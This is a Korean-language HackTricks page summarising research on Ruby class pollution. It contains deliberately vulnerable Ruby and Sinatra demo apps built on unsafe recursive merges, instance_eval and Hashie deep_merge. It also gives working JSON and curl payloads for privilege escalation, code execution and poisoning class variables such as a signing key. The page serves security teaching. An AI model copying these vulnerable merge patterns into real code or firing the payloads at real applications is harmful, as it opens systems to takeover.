Ruby Class Pollution

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다음 글의 요약입니다: https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

Merge on Attributes

예시:

# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end

private

# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|

if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end

protected

def check_cpu
puts "CPU check passed."
end

def check_memory
puts "Memory check passed."
end
end

# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)


# Perform a recursive merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize

# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check

end
end

if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

설명

1. Privilege Escalation: authorize 메서드는 to_s가 “Admin.“을 반환하는지 확인합니다. JSON을 통해 새로운 to_s 속성을 주입하면, 공격자는 to_s 메서드가 “Admin“을 반환하도록 만들어 권한을 부당하게 상승시킬 수 있습니다.
2. Remote Code Execution: health_check에서 instance_eval은 protected_methods에 나열된 메서드들을 실행합니다. 공격자가 "puts 1" 같은 커스텀 메서드 이름을 주입하면, instance_eval이 이를 실행하여 **remote code execution (RCE)**로 이어질 수 있습니다.
3. 이는 해당 속성의 문자열 값을 실행하는 취약한 eval 지시문이 있기 때문에 가능한 것입니다.
4. 영향 범위 제한: 이 취약점은 개별 인스턴스에만 영향을 미치며, 다른 User 및 Admin 인스턴스는 영향을 받지 않으므로, 공격 범위가 제한됩니다.

실제 사례

ActiveSupport의 deep_merge

기본적으로는 취약하지 않지만, 다음과 같은 방식으로 취약하게 만들 수 있습니다:

# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end

self
end

Hashie’s deep_merge

Hashie’s deep_merge 메서드는 일반 해시가 아니라 객체 속성에 직접 작동합니다. 병합 시 메서드가 속성으로 대체되는 것을 차단하지만 몇 가지 예외가 있습니다: 이름이 _, !, 또는 ?로 끝나는 속성은 여전히 객체에 병합될 수 있습니다.

특히 단독 속성 **_**가 있습니다. _는 보통 Mash 객체를 반환하는 속성입니다. 그리고 예외에 포함되므로 이를 수정할 수 있습니다.

다음 예시를 보면 {"_": "Admin"}을 전달하여 _.to_s == "Admin"을 우회할 수 있습니다:

require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end

# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

end

# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})

# Perform a deep merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end

if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Hashie deep_merge mutation regression (2025): Hashie 5.0.0에서 Hashie::Extensions::DeepMerge#deep_merge는 중첩된 서브 해시들을 복제하지 않고 수신자(receiver) 쪽에서 변경했습니다. 공격자 제어 데이터(attacker-controlled data)를 장기간 지속되는 객체에 병합하면 요청 간 변경이 지속되어 이전에 “safe”했던 인스턴스들이 오염될 수 있었습니다. 이 동작은 5.0.1에서 수정되었습니다.

클래스 오염시키기

다음 예제에서 Person 클래스와 그로부터 상속받는 Admin 및 Regular 클래스를 찾을 수 있습니다. 또한 **KeySigner**라는 다른 클래스도 있습니다:

require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

private

# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json

# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

run! if app_file == $0
end

Poison Parent Class

다음 payload로:

curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

상위 클래스 **Person**의 @@url 속성 값을 수정할 수 있습니다.

Poisoning Other Classes

다음 payload:

for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

정의된 클래스들을 brute-force하여 결국 클래스 **KeySigner**를 오염시켜 signing_key 값을 injected-signing-key로 변경할 수 있다.\

참고자료

• https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
• https://ruby.libhunt.com/hashie-latest-version

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.